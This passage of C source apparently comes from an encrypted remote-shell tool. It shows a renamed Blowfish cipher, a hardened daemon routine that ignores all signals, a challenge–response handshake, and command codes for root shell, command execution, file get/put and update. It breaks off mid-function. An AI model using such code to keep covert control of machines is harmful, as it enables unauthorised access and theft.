0x53C2DD94L, 0xC2C21634L, 199 | 0xBBCBEE56L, 0x90BCB6DEL, 0xEBFC7DA1L, 0xCE591D76L, 200 | 0x6F05E409L, 0x4B7C0188L, 0x39720A3DL, 0x7C927C24L, 201 | 0x86E3725FL, 0x724D9DB9L, 0x1AC15BB4L, 0xD39EB8FCL, 202 | 0xED545578L, 0x08FCA5B5L, 0xD83D7CD3L, 0x4DAD0FC4L, 203 | 0x1E50EF5EL, 0xB161E6F8L, 0xA28514D9L, 0x6C51133CL, 204 | 0x6FD5C7E7L, 0x56E14EC4L, 0x362ABFCEL, 0xDDC6C837L, 205 | 0xD79A3234L, 0x92638212L, 0x670EFA8EL, 0x406000E0L }, 206 | { 0x3A39CE37L, 0xD3FAF5CFL, 0xABC27737L, 0x5AC52D1BL, 207 | 0x5CB0679EL, 0x4FA33742L, 0xD3822740L, 0x99BC9BBEL, 208 | 0xD5118E9DL, 0xBF0F7315L, 0xD62D1C7EL, 0xC700C47BL, 209 | 0xB78C1B6BL, 0x21A19045L, 0xB26EB1BEL, 0x6A366EB4L, 210 | 0x5748AB2FL, 0xBC946E79L, 0xC6A376D2L, 0x6549C2C8L, 211 | 0x530FF8EEL, 0x468DDE7DL, 0xD5730A1DL, 0x4CD04DC6L, 212 | 0x2939BBDBL, 0xA9BA4650L, 0xAC9526E8L, 0xBE5EE304L, 213 | 0xA1FAD5F0L, 0x6A2D519AL, 0x63EF8CE2L, 0x9A86EE22L, 214 | 0xC089C2B8L, 0x43242EF6L, 0xA51E03AAL, 0x9CF2D0A4L, 215 | 0x83C061BAL, 0x9BE96A4DL, 0x8FE51550L, 0xBA645BD6L, 216 | 0x2826A2F9L, 0xA73A3AE1L, 0x4BA99586L, 0xEF5562E9L, 217 | 0xC72FEFD3L, 0xF752F7DAL, 0x3F046F69L, 0x77FA0A59L, 218 | 0x80E4A915L, 0x87B08601L, 0x9B09E6ADL, 0x3B3EE593L, 219 | 0xE990FD5AL, 0x9E34D797L, 0x2CF0B7D9L, 0x022B8B51L, 220 | 0x96D5AC3AL, 0x017DA67DL, 0xD1CF3ED6L, 0x7C7D2D28L, 221 | 0x1F9F25CFL, 0xADF2B89BL, 0x5AD6B472L, 0x5A88F54CL, 222 | 0xE029AC71L, 0xE019A5E6L, 0x47B0ACFDL, 0xED93FA9BL, 223 | 0xE8D3C48DL, 0x283B57CCL, 0xF8D56629L, 0x79132E28L, 224 | 0x785F0191L, 0xED756055L, 0xF7960E44L, 0xE3D35E8CL, 225 | 0x15056DD4L, 0x88F46DBAL, 0x03A16125L, 0x0564F0BDL, 226 | 0xC3EB9E15L, 0x3C9057A2L, 0x97271AECL, 0xA93A072AL, 227 | 0x1B3F6D9BL, 0x1E6321F5L, 0xF59C66FBL, 0x26DCF319L, 228 | 0x7533D928L, 0xB155FDF5L, 0x03563482L, 0x8ABA3CBBL, 229 | 0x28517711L, 0xC20AD9F8L, 0xABCC5167L, 0xCCAD925FL, 230 | 0x4DE81751L, 0x3830DC8EL, 0x379D5862L, 0x9320F991L, 231 | 0xEA7A90C2L, 0xFB3E7BCEL, 0x5121CE64L, 0x774FBE32L, 232 | 0xA8B6E37EL, 0xC3293D46L, 0x48DE5369L, 0x6413E680L, 233 | 0xA2AE0810L, 0xDD6DB224L, 0x69852DFDL, 0x09072166L, 234 | 0xB39A460AL, 0x6445C0DDL, 0x586CDECFL, 0x1C20C8AEL, 235 | 0x5BBEF7DDL, 0x1B588D40L, 0xCCD2017FL, 0x6BB4E3BBL, 236 | 0xDDA26A7EL, 0x3A59FF45L, 0x3E350A44L, 0xBCB4CDD5L, 237 | 0x72EACEA8L, 0xFA6484BBL, 0x8D6612AEL, 0xBF3C6F47L, 238 | 0xD29BE463L, 0x542F5D9EL, 0xAEC2771BL, 0xF64E6370L, 239 | 0x740E0D8DL, 0xE75B1357L, 0xF8721671L, 0xAF537D5DL, 240 | 0x4040CB08L, 0x4EB4E2CCL, 0x34D2466AL, 0x0115AF84L, 241 | 0xE1B00428L, 0x95983A1DL, 0x06B89FB4L, 0xCE6EA048L, 242 | 0x6F3F3B82L, 0x3520AB82L, 0x011A1D4BL, 0x277227F8L, 243 | 0x611560B1L, 0xE7933FDCL, 0xBB3A792BL, 0x344525BDL, 244 | 0xA08839E1L, 0x51CE794BL, 0x2F32C9B7L, 0xA01FBAC9L, 245 | 0xE01CC87EL, 0xBCC7D1F6L, 0xCF0111C3L, 0xA1E8AAC7L, 246 | 0x1A908749L, 0xD44FBD9AL, 0xD0DADECBL, 0xD50ADA38L, 247 | 0x0339C32AL, 0xC6913667L, 0x8DF9317CL, 0xE0B12B4FL, 248 | 0xF79E59B7L, 0x43F5BB3AL, 0xF2D519FFL, 0x27D9459CL, 249 | 0xBF97222CL, 0x15E6FC2AL, 0x0F91FC71L, 0x9B941525L, 250 | 0xFAE59361L, 0xCEB69CEBL, 0xC2A86459L, 0x12BAA8D1L, 251 | 0xB6C1075EL, 0xE3056A0CL, 0x10D25065L, 0xCB03A442L, 252 | 0xE0EC6E0EL, 0x1698DB3BL, 0x4C98A0BEL, 0x3278E964L, 253 | 0x9F1F9532L, 0xE0D392DFL, 0xD3A0342BL, 0x8971F21EL, 254 | 0x1B0A7441L, 0x4BA3348CL, 0xC5BE7120L, 0xC37632D8L, 255 | 0xDF359F8DL, 0x9B992F2EL, 0xE60B6F47L, 0x0FE3F11DL, 256 | 0xE54CDA54L, 0x1EDAD891L, 0xCE6279CFL, 0xCD3E7E6FL, 257 | 0x1618B166L, 0xFD2C1D05L, 0x848FD2C5L, 0xF6FB2299L, 258 | 0xF523F357L, 0xA6327623L, 0x93A83531L, 0x56CCCD02L, 259 | 0xACF08162L, 0x5A75EBB5L, 0x6E163697L, 0x88D273CCL, 260 | 0xDE966292L, 0x81B949D0L, 0x4C50901BL, 0x71C65614L, 261 | 0xE6C6C7BDL, 0x327A140AL, 0x45E1D006L, 0xC3F27B9AL, 262 | 0xC9AA53FDL, 0x62A80F00L, 0xBB25BFE2L, 0x35BDD2F6L, 263 | 0x71126905L, 0xB2040222L, 0xB6CBCF7CL, 0xCD769C2BL, 264 | 0x53113EC0L, 0x1640E3D3L, 0x38ABBD60L, 0x2547ADF0L, 265 | 0xBA38209CL, 0xF746CE76L, 0x77AFA1C5L, 0x20756060L, 266 | 0x85CBFE4EL, 0x8AE88DD8L, 0x7AAAF9B0L, 0x4CF9AA7EL, 267 | 0x1948C25CL, 0x02FB8A8CL, 0x01C36AE4L, 0xD6EBE1F9L, 268 | 0x90D4F869L, 0xA65CDEA0L, 0x3F09252DL, 0xC208E69FL, 269 | 0xB74E6132L, 0xCE77E25BL, 0x578FDFE3L, 0x3AC372E6L } 270 | }; 271 | 272 | 273 | static unsigned int F(const KOC_CTX *ctx, unsigned int x) 274 | { 275 | unsigned short a, b, c, d; 276 | unsigned int y; 277 | 278 | d = (unsigned short)(x & 0xFF); 279 | x >>= 8; 280 | c = (unsigned short)(x & 0xFF); 281 | x >>= 8; 282 | b = (unsigned short)(x & 0xFF); 283 | x >>= 8; 284 | a = (unsigned short)(x & 0xFF); 285 | y = ctx->S[0][a] + ctx->S[1][b]; 286 | y = y ^ ctx->S[2][c]; 287 | y = y + ctx->S[3][d]; 288 | 289 | return y; 290 | } 291 | 292 | 293 | void koc_encrypt(const KOC_CTX *ctx, unsigned int *xl, unsigned int *xr) 294 | { 295 | unsigned int Xl; 296 | unsigned int Xr; 297 | unsigned int temp; 298 | short i; 299 | 300 | Xl = *xl; 301 | Xr = *xr; 302 | 303 | for (i = 0; i < N; ++i) { 304 | Xl = Xl ^ ctx->P[i]; 305 | Xr = F(ctx, Xl) ^ Xr; 306 | 307 | temp = Xl; 308 | Xl = Xr; 309 | Xr = temp; 310 | } 311 | 312 | temp = Xl; 313 | Xl = Xr; 314 | Xr = temp; 315 | 316 | Xr = Xr ^ ctx->P[N]; 317 | Xl = Xl ^ ctx->P[N + 1]; 318 | 319 | *xl = Xl; 320 | *xr = Xr; 321 | } 322 | 323 | 324 | void koc_decrypt(const KOC_CTX *ctx, unsigned int *xl, unsigned int *xr) 325 | { 326 | unsigned int Xl; 327 | unsigned int Xr; 328 | unsigned int temp; 329 | short i; 330 | 331 | Xl = *xl; 332 | Xr = *xr; 333 | 334 | for (i = N + 1; i > 1; --i) { 335 | Xl = Xl ^ ctx->P[i]; 336 | Xr = F(ctx, Xl) ^ Xr; 337 | 338 | /* Exchange Xl and Xr */ 339 | temp = Xl; 340 | Xl = Xr; 341 | Xr = temp; 342 | } 343 | 344 | /* Exchange Xl and Xr */ 345 | temp = Xl; 346 | Xl = Xr; 347 | Xr = temp; 348 | 349 | Xr = Xr ^ ctx->P[1]; 350 | Xl = Xl ^ ctx->P[0]; 351 | 352 | *xl = Xl; 353 | *xr = Xr; 354 | } 355 | 356 | 357 | void koc_init(KOC_CTX *ctx, const char *_key, int keyLen) 358 | { 359 | int i, j, k; 360 | unsigned int data, datal, datar; 361 | unsigned char *key = (unsigned char *)_key; 362 | 363 | for (i = 0; i < 4; i++) { 364 | for (j = 0; j < 256; j++) 365 | ctx->S[i][j] = ORIG_S[i][j]; 366 | } 367 | 368 | j = 0; 369 | for (i = 0; i < N + 2; ++i) { 370 | data = 0x00000000; 371 | for (k = 0; k < 4; ++k) { 372 | data = (data << 8) | key[j]; 373 | j = j + 1; 374 | if (j >= keyLen) 375 | j = 0; 376 | } 377 | ctx->P[i] = ORIG_P[i] ^ data; 378 | } 379 | 380 | datal = 0x00000000; 381 | datar = 0x00000000; 382 | 383 | for (i = 0; i < N + 2; i += 2) { 384 | koc_encrypt(ctx, &datal, &datar); 385 | ctx->P[i] = datal; 386 | ctx->P[i + 1] = datar; 387 | } 388 | 389 | for (i = 0; i < 4; ++i) { 390 | for (j = 0; j < 256; j += 2) { 391 | koc_encrypt(ctx, &datal, &datar); 392 | ctx->S[i][j] = datal; 393 | ctx->S[i][j + 1] = datar; 394 | } 395 | } 396 | } 397 | -------------------------------------------------------------------------------- /common.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2014 Qian Shanhai (qianshanhai@gmail.com) 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #include "my_rand.h" 33 | 34 | #define CMD_TO1 2000000 35 | #define CMD_TO2 4000000 36 | 37 | #define ROOT_SHELL 201 38 | #define ROOT_CMD 202 39 | #define ROOT_GET 203 40 | #define ROOT_PUT 204 41 | #define ROOT_UPDATE 205 42 | #define CHANGE_PASSWD 206 43 | 44 | #include "config.h" 45 | 46 | #define ONCE_SIZE 128 47 | #define MUL 256 48 | #define PUT_LEN 896 49 | #define GET_LEN 896 50 | 51 | #define Ctrl(c) ((c) & 037) 52 | #define PUT_PATH_CHAR '\x1' 53 | 54 | struct winsize win; 55 | int remote_mode = 0; 56 | 57 | extern int grantpt (int __fd); 58 | extern int unlockpt (int __fd); 59 | extern char **environ; 60 | 61 | int sock_fd = -1, sock_in = -1, sock_out = -1; 62 | 63 | typedef void (*sighandler_t)(int); 64 | 65 | sighandler_t my_signal(int sig, sighandler_t func) 66 | { 67 | struct sigaction act, oact; 68 | 69 | act.sa_handler = func; 70 | sigemptyset(&act.sa_mask); 71 | act.sa_flags = 0; 72 | 73 | if (sig == SIGALRM) { 74 | #ifdef SA_INTERRUPT 75 | act.sa_flags |= SA_INTERRUPT; 76 | #endif 77 | } else { 78 | #ifdef SA_RESTART 79 | act.sa_flags |= SA_RESTART; 80 | #endif 81 | } 82 | if (sigaction(sig, &act, &oact) == -1) 83 | return SIG_ERR; 84 | 85 | return oact.sa_handler; 86 | } 87 | 88 | int dashf(const char *fname) 89 | { 90 | struct stat st; 91 | 92 | return (stat(fname, &st) == 0 && S_ISREG(st.st_mode)); 93 | } 94 | 95 | int filesize(const char *fname) 96 | { 97 | struct stat st; 98 | 99 | if (stat(fname, &st) == 0) 100 | return (int)st.st_size; 101 | 102 | return 0; 103 | } 104 | 105 | int dashx(const char *fname) 106 | { 107 | struct stat st; 108 | 109 | return (stat(fname, &st) == 0 && (st.st_mode & 0755)); 110 | } 111 | 112 | int dashd(const char *fname) 113 | { 114 | struct stat st; 115 | 116 | return (stat(fname, &st) == 0 && S_ISDIR(st.st_mode)); 117 | } 118 | 119 | void *mapfile(const char *file, int *size) 120 | { 121 | int fd; 122 | struct stat st; 123 | void *p; 124 | 125 | if ((fd = open(file, O_RDONLY)) == -1) 126 | return NULL; 127 | 128 | if (fstat(fd, &st) == -1 || st.st_size <= 0) { 129 | close(fd); 130 | return NULL; 131 | } 132 | 133 | p = mmap(NULL, st.st_size, PROT_READ, MAP_SHARED, fd, 0); 134 | close(fd); 135 | 136 | if (p == (void *)-1) 137 | return NULL; 138 | 139 | *size = (int)st.st_size; 140 | 141 | return p; 142 | } 143 | 144 | int f_cp(const char *src, const char *dst, int mode) 145 | { 146 | char *p; 147 | int fd, size, ret = -1; 148 | 149 | if ((p = mapfile(src, &size)) == NULL) 150 | return -1; 151 | 152 | if ((fd = open(dst, O_WRONLY | O_CREAT | mode, 0750)) != -1) { 153 | if (write(fd, p, size) == size) 154 | ret = 0; 155 | close(fd); 156 | } 157 | munmap(p, size); 158 | 159 | return ret; 160 | } 161 | 162 | char *ltrim(char *p) 163 | { 164 | for (; *p == ' ' || *p == '\t'; p++); 165 | return p; 166 | } 167 | 168 | char *rtrim(char *p) 169 | { 170 | int i, len = strlen(p); 171 | 172 | for (i = len - 1; i >= 0; i--) { 173 | if (p[i] != ' ' && p[i] != '\t') 174 | break; 175 | p[i] = 0; 176 | } 177 | return p; 178 | } 179 | 180 | char *trim(char *p) 181 | { 182 | rtrim(p); 183 | 184 | return ltrim(p); 185 | } 186 | 187 | char *chomp(char *p) 188 | { 189 | int i, len = strlen(p); 190 | 191 | for (i = len - 1; i >= 0; i--) { 192 | if (p[i] != '\r' && p[i] != '\n') 193 | break; 194 | p[i] = 0; 195 | } 196 | 197 | return p; 198 | } 199 | 200 | char **split(char c, const char *s, int *len) 201 | { 202 | static char buf[BUFSIZ]; 203 | static char *sp[128] = {buf}; 204 | char *m = buf, *t = (char *)s; 205 | int y = 0, x = sizeof(sp) / sizeof(char*); 206 | 207 | for(; (*m = *t) && (t - s) < sizeof(buf); t++, m++) { 208 | if(*t == c) { 209 | *m = 0; 210 | sp[(++y) % x] = m + 1; 211 | } 212 | } 213 | *m = 0; 214 | *len = ++y; 215 | 216 | return sp; 217 | } 218 | 219 | int set_fl(int fd, int flag) 220 | { 221 | int val; 222 | 223 | if ((val = fcntl(fd, F_GETFL, 0)) == -1) 224 | return -1; 225 | 226 | val |= flag; 227 | 228 | if (fcntl(fd, F_SETFL, val) == -1) 229 | return -1; 230 | 231 | return 0; 232 | } 233 | 234 | int winsize_pack(const struct winsize *w, char *buf) 235 | { 236 | int t; 237 | 238 | t = sprintf(buf, "%04d %04d %04d %04d ", (int)w->ws_row, 239 | (int)w->ws_col, (int)w->ws_xpixel, (int)w->ws_ypixel); 240 | return t; 241 | } 242 | 243 | int winsize_unpack(struct winsize *w, char *buf) 244 | { 245 | buf[4] = buf[9] = buf[14] = buf[19] = 0; 246 | 247 | w->ws_row = (unsigned short int)atoi(buf); 248 | w->ws_col = (unsigned short int)atoi(buf + 5); 249 | w->ws_xpixel = (unsigned short int)atoi(buf + 10); 250 | w->ws_ypixel = (unsigned short int)atoi(buf + 15); 251 | } 252 | 253 | int _read_data(int fd, char *buf, int len, int time) 254 | { 255 | fd_set rfds; 256 | struct timeval tv; 257 | int n, remain = len; 258 | 259 | int sec = time / 1000000; 260 | int usec = time % 1000000; 261 | 262 | while (1) { 263 | FD_ZERO(&rfds); 264 | FD_SET(fd, &rfds); 265 | 266 | tv.tv_sec = sec; 267 | tv.tv_usec = usec; 268 | 269 | n = select(fd + 1, &rfds, NULL, NULL, &tv); 270 | if (n == -1) 271 | return -1; 272 | else if (n == 0) 273 | return 0; 274 | 275 | if (FD_ISSET(fd, &rfds)) { 276 | if ((n = read(fd, buf, len)) <= 0) { 277 | return -1; 278 | } 279 | return n; 280 | } 281 | } 282 | 283 | return 0; 284 | } 285 | 286 | int read_data(int fd, char *buf, int len) 287 | { 288 | return _read_data(fd, buf, len, 5000000); 289 | } 290 | 291 | int read_data_quick(int fd, char *buf, int len) 292 | { 293 | return _read_data(fd, buf, len, 2000000); 294 | } 295 | 296 | int read_line(int fd, char *buf, int len) 297 | { 298 | fd_set rfds; 299 | struct timeval tv; 300 | char ch; 301 | int n, copy = 0; 302 | 303 | for (;;) { 304 | FD_ZERO(&rfds); 305 | FD_SET(fd, &rfds); 306 | 307 | tv.tv_sec = 2; 308 | tv.tv_usec = 0; 309 | if ((n = select(fd + 1, &rfds, NULL, NULL, &tv)) <= 0) 310 | break; 311 | 312 | if (FD_ISSET(fd, &rfds)) { 313 | if ((n = read(fd, &ch, 1)) == 1) { 314 | buf[copy++] = ch; 315 | if (ch == '\n') 316 | break; 317 | } 318 | } 319 | } 320 | 321 | return copy; 322 | } 323 | 324 | #include "blowfish.h" 325 | 326 | static KOC_CTX *ctx = NULL; 327 | static char *passwd = NULL; 328 | 329 | int init_key(const char *key, int len) 330 | { 331 | ctx = (KOC_CTX *)malloc(sizeof(*ctx)); 332 | 333 | koc_init(ctx, key, len); 334 | 335 | return 0; 336 | } 337 | 338 | unsigned int my_ntohl(unsigned int x) 339 | { 340 | return ntohl(x); 341 | } 342 | 343 | unsigned int my_htonl(unsigned int x) 344 | { 345 | return htonl(x); 346 | } 347 | 348 | int my_encrypt(const unsigned char *in, unsigned char *out, int len) 349 | { 350 | int i; 351 | 352 | memcpy(out, in, len); 353 | 354 | for (i = 1; i < len; i++) 355 | out[i] ^= out[i - 1]; 356 | 357 | return my_crypt(koc_encrypt, my_htonl, ctx, (char *)out, (char *)out, len); 358 | } 359 | 360 | int my_decrypt(const unsigned char *in, unsigned char *out, int len) 361 | { 362 | int i; 363 | 364 | if (my_crypt(koc_decrypt, my_ntohl, ctx, (char *)in, (char *)out, len) == -1) 365 | return -1; 366 | 367 | for (i = len - 1; i > 0; i--) 368 | out[i] ^= out[i - 1]; 369 | 370 | return len; 371 | } 372 | 373 | #if defined(__hpux) || defined(__linux__) 374 | char *ptsname(int); 375 | #endif 376 | 377 | int master; 378 | struct termios origtty; 379 | struct winsize win; 380 | 381 | void _daemon(int flag) 382 | { 383 | int n, i; 384 | 385 | chdir("/tmp"); 386 | 387 | if (flag) { 388 | n = getdtablesize(); 389 | for (i = 0; i <= n; i++) 390 | close(i); 391 | } 392 | 393 | if (fork()) 394 | exit(0); 395 | 396 | if (setsid() == -1) 397 | exit(0); 398 | 399 | if (fork()) 400 | exit(0); 401 | 402 | for (n = 1; n <= NSIG; n++) 403 | my_signal(n, SIG_IGN); 404 | } 405 | 406 | void sig_chld(int signo) 407 | { 408 | pid_t pid; 409 | int stat; 410 | 411 | while ((pid = waitpid(-1, &stat, WNOHANG)) > 0); 412 | 413 | return; 414 | } 415 | 416 | void set_default_signal() 417 | { 418 | my_signal(SIGHUP, SIG_DFL); 419 | my_signal(SIGTERM, SIG_DFL); 420 | my_signal(SIGINT, SIG_DFL); 421 | my_signal(SIGQUIT, SIG_DFL); 422 | my_signal(SIGTSTP, SIG_DFL); 423 | } 424 | 425 | struct data { 426 | unsigned char buf[ONCE_SIZE * MUL]; 427 | unsigned char tmp[ONCE_SIZE * MUL]; 428 | int len; 429 | }; 430 | 431 | struct data *in_data = NULL; 432 | 433 | void init_in_data() 434 | { 435 | if (in_data == NULL) 436 | in_data = (struct data *)malloc(sizeof(struct data)); 437 | memset(in_data, 0, sizeof(*in_data)); 438 | } 439 | 440 | int file_append(const char *file, const void *data, int size) 441 | { 442 | int fd, ret = 0; 443 | 444 | if ((fd = open(file, O_RDWR | O_APPEND | O_CREAT, 0644)) == -1) { 445 | return -1; 446 | } 447 | 448 | if (write(fd, data, size) != size) { 449 | ret = -1; 450 | } 451 | close(fd); 452 | 453 | return ret; 454 | } 455 | 456 | int debug(const char *fmt, ...) 457 | { 458 | int n; 459 | va_list ap; 460 | char buf[4096]; 461 | 462 | va_start(ap, fmt); 463 | n = vsnprintf(buf, sizeof(buf), fmt, ap); 464 | va_end(ap); 465 | 466 | file_append("my_server.log", buf, n); 467 | 468 | return n; 469 | } 470 | 471 | int get_len(unsigned char *msg, int *len, int *pad) 472 | { 473 | unsigned char head[HEAD_LEN+1]; 474 | 475 | if (my_decrypt(msg, head, HEAD_LEN) == -1) 476 | return -1; 477 | 478 | *len = (int)head[HLEN_POS_1] * 255 * 255 + (int)head[HLEN_POS_2] * 255 + (int)head[HLEN_POS_3]; 479 | *pad = (int)head[HLEN_PAD]; 480 | 481 | return *len; 482 | } 483 | 484 | int set_len(unsigned char *msg, int len) 485 | { 486 | unsigned char head[HEAD_LEN+1]; 487 | 488 | my_randomize(head, HEAD_LEN); 489 | 490 | head[HLEN_POS_1] = len / 255 / 255; 491 | head[HLEN_POS_2] = (len - head[HLEN_POS_1] * 255 * 255) / 255; 492 | head[HLEN_POS_3] = len - head[HLEN_POS_1] * 255 * 255 - head[HLEN_POS_2] * 255; 493 | head[HLEN_PAD] = (len % 8 == 0 ? 0 : (8 - len % 8)); 494 | 495 | my_encrypt(head, msg, HEAD_LEN); 496 | 497 | return (int)head[HLEN_PAD]; 498 | } 499 | 500 | int unpack(unsigned char *msg, const char *buf, int len) 501 | { 502 | int dlen, pad; 503 | 504 | if (len > 0) 505 | memcpy(in_data->buf + in_data->len, buf, len); 506 | 507 | in_data->len += len; 508 | 509 | if (in_data->len < (int)HEAD_LEN) 510 | return 0; 511 | 512 | if (get_len(in_data->buf, &dlen, &pad) == -1) 513 | return -1; 514 | 515 | if (dlen > in_data->len - (int)HEAD_LEN) 516 | return 0; 517 | 518 | if (my_decrypt(in_data->buf + HEAD_LEN, msg, dlen + pad) == -1) 519 | return -1; 520 | 521 | in_data->len -= ((int)HEAD_LEN + dlen + pad); 522 | 523 | if (in_data->len > 0) { 524 | memmove(in_data->buf, in_data->buf + HEAD_LEN + dlen + pad, in_data->len); 525 | } 526 | 527 | return dlen; 528 | } 529 | 530 | int pack(unsigned char *msg, const char *buf, int len) 531 | { 532 | int pad = set_len(msg, len); 533 | 534 | my_encrypt((unsigned char *)buf, msg + HEAD_LEN, len + pad); 535 | 536 | return len + pad + HEAD_LEN; 537 | } 538 | 539 | #define max(x, y) ((x) > (y) ? (x) : (y)) 540 | #define max3(x, y, z) (max((x), (y)) > (z) ? max((x), (y)) : (z)) 541 | 542 | unsigned char *__msg; 543 | char *__buf; 544 | 545 | void loop(pid_t pid) 546 | { 547 | int t, n; 548 | unsigned int count = 0; 549 | unsigned char *msg = __msg; 550 | char *buf = __buf; 551 | fd_set rmask; 552 | struct timeval tv; 553 | time_t last, now; 554 | 555 | init_in_data(); 556 | time(&last); 557 | 558 | for (;;) { 559 | FD_ZERO(&rmask); 560 | FD_SET(sock_fd, &rmask); 561 | FD_SET(sock_in, &rmask); 562 | 563 | tv.tv_sec = 0; 564 | tv.tv_usec = pid > 0 ? 200000 : 100000; 565 | 566 | if ((t = unpack(msg, buf, 0)) > 0) { 567 | if (write(sock_out, msg, t) != t) 568 | break; 569 | } 570 | 571 | if (pid == 0) { 572 | time(&now); 573 | if (now - last > 150) { 574 | buf[0] = Ctrl('Q'); 575 | if ((t = pack(msg, buf, 1)) > 0) 576 | write(sock_fd, msg, t); 577 | time(&last); 578 | } 579 | } 580 | 581 | n = select(max(sock_fd, sock_in) + 1, &rmask, NULL, NULL, &tv); 582 | 583 | if (n < 0) { 584 | if (errno != EINTR) 585 | break; 586 | else 587 | continue; 588 | } else if (n == 0) 589 | continue; 590 | 591 | if (pid == 0) 592 | time(&last); 593 | 594 | if (FD_ISSET(sock_fd, &rmask)) { 595 | if ((n = read(sock_fd, buf, ONCE_SIZE + HEAD_LEN)) <= 0) 596 | break; 597 | if ((t = unpack(msg, buf, n)) > 0) { 598 | if (pid > 0) { 599 | if (msg[0] == 255 && msg[1] == 255 && t == 22) { 600 | winsize_unpack(&win, (char *)msg + 2); 601 | if (ioctl(STDIN_FILENO, TIOCSWINSZ, &win) == 0) 602 | kill(pid, SIGWINCH); 603 | } else { 604 | if (write(sock_out, msg, t) != t) 605 | break; 606 | } 607 | } else { 608 | if (write(sock_out, msg, t) != t) 609 | break; 610 | } 611 | } 612 | } 613 | 614 | if (FD_ISSET(sock_in, &rmask)) { 615 | if ((n = read(sock_in, buf, ONCE_SIZE)) <= 0) 616 | break; 617 | if ((t = pack(msg, buf, n)) > 0) { 618 | if (pid > 0) { 619 | if (count++ % 10 == 0) 620 | usleep(100); 621 | } 622 | if (write(sock_fd, msg, t) != t) 623 | break; 624 | } 625 | } 626 | } 627 | } 628 | 629 | char *get_version(char *v) 630 | { 631 | char *p, tmp[] = _VERSION; 632 | 633 | if ((p = strchr(tmp, '.'))) 634 | *p = 0; 635 | 636 | strcpy(v, tmp); 637 | 638 | return v; 639 | } 640 | 641 | int my_crypt(void (*func)(const KOC_CTX *ctx, unsigned int *l, unsigned int *r), 642 | uint32_t (*hn)(uint32_t r), 643 | KOC_CTX *ctx, const char *in, char *out, int len) 644 | { 645 | int i; 646 | unsigned int left, right; 647 | 648 | if (len % 8 != 0) 649 | return -1; 650 | 651 | for (i = 0; i < len / 8; i++) { 652 | left = hn(*((unsigned int *)(in + i * 8))); 653 | right = hn(*((unsigned int *)(in + i * 8 + 4))); 654 | func(ctx, &left, &right); 655 | *((unsigned int *)(out + i * 8)) = hn(left); 656 | *((unsigned int *)(out + i * 8 + 4)) = hn(right); 657 | } 658 | 659 | return len; 660 | } 661 | 662 | #define V_LEN 128 663 | 664 | int client_verify_version(int fd) 665 | { 666 | int len; 667 | char tmp[32]; 668 | unsigned char buf[V_LEN], msg[V_LEN]; 669 | 670 | my_randomize(buf, V_LEN); 671 | 672 | buf[50] = 'o'; 673 | buf[80] = 'k'; 674 | 675 | strcpy((char *)buf + 25, get_version(tmp)); 676 | 677 | if (my_encrypt(buf, msg, V_LEN) == -1) 678 | return -1; 679 | 680 | if (send(fd, msg, V_LEN, 0) != V_LEN) 681 | return -1; 682 | 683 | if (read_data(fd, (char *)buf, V_LEN) != V_LEN) 684 | return -1; 685 | 686 | if (my_decrypt(buf, msg, V_LEN) == -1) 687 | return -1; 688 | 689 | if (msg[50] == 'O' && msg[80] == 'K') { 690 | printf("version not match: local = %s, remote = %s.\n", 691 | get_version(tmp), (char *)msg + 25); 692 | return -1; 693 | } 694 | 695 | if (msg[50] != 'o' || msg[80] != 'k') 696 | return -1; 697 | 698 | return 0; 699 | } 700 | 701 | int server_verify_version(int fd) 702 | { 703 | int len, flag = 0; 704 | char tmp[32], tmp2[32]; 705 | unsigned char buf[V_LEN], msg[V_LEN]; 706 | 707 | if (read_data(fd, (char *)buf, V_LEN) != V_LEN) 708 | return -1; 709 | 710 | if (my_decrypt(buf, msg, V_LEN) == -1) 711 | return -1; 712 | 713 | if (msg[50] != 'o' || msg[80] != 'k') 714 | return -1; 715 | 716 | strcpy(tmp2, (char *)msg+ 25); 717 | 718 | my_randomize(buf, V_LEN); 719 | 720 | get_version(tmp); 721 | 722 | if (strcmp(tmp, tmp2) == 0) { 723 | buf[50] = 'o'; 724 | buf[80] = 'k'; 725 | } else { 726 | buf[50] = 'O'; 727 | buf[80] = 'K'; 728 | flag = -1; 729 | } 730 | 731 | strcpy((char *)buf + 25, tmp); 732 | 733 | if (my_encrypt(buf, msg, V_LEN) == -1) 734 | return -1; 735 | 736 | if (send(fd, msg, V_LEN, 0) != V_LEN) 737 | return -1; 738 | 739 | return 0; 740 | } 741 | 742 | typedef unsigned char verify_buf_t[1024]; 743 | 744 | int verify_server(int fd) 745 | { 746 | verify_buf_t r0, r2, tmp, buf; 747 | 748 | /* 1. send blowfish(r0) */ 749 | 750 | my_randomize((char *)r0, V_LEN); 751 | my_encrypt(r0, tmp, V_LEN); 752 | write(fd, tmp, V_LEN); 753 | 754 | /* 2. receive blowfish(r1 + r0), check r0 */ 755 | 756 | if (read_data(fd, buf, V_LEN * 2) != V_LEN * 2) 757 | return -1; 758 | 759 | my_decrypt(buf, tmp, V_LEN * 2); 760 | 761 | if (memcmp(tmp + V_LEN, r0, V_LEN) != 0) 762 | return -1; 763 | 764 | /* 3. send blowfish(r2 + r1) */ 765 | 766 | my_randomize((char *)r2, V_LEN); 767 | memcpy(r2 + V_LEN, tmp, V_LEN); 768 | 769 | my_encrypt(r2, buf, V_LEN * 2); 770 | write(fd, buf, V_LEN * 2); 771 | 772 | return 0; 773 | } 774 | 775 | int verify_client(int fd) 776 | { 777 | verify_buf_t r1, tmp, buf; 778 | 779 | /* 1. read server r0, send blowfish(r1 + r0) */ 780 | 781 | if (read_data(fd, buf, V_LEN) != V_LEN) 782 | return -1; 783 | 784 | my_decrypt(buf, tmp, V_LEN); 785 | 786 | my_randomize(r1, V_LEN); 787 | memcpy(r1 + V_LEN, tmp, V_LEN); 788 | 789 | my_encrypt(r1, tmp, V_LEN * 2); 790 | write(fd, tmp, V_LEN * 2); 791 | 792 | /* 2. read server r1, and check r1 */ 793 | 794 | if (read_data(fd, buf, V_LEN * 2) != V_LEN * 2) 795 | return -1; 796 | my_decrypt(buf, tmp, V_LEN * 2); 797 | 798 | if (memcmp(r1, tmp + V_LEN, V_LEN) != 0) 799 | return -1; 800 | 801 | return 0; 802 | } 803 | 804 | int get_file(const char *file, int sock) 805 | { 806 | int n, t; 807 | FILE *fp; 808 | char *buf = __buf; 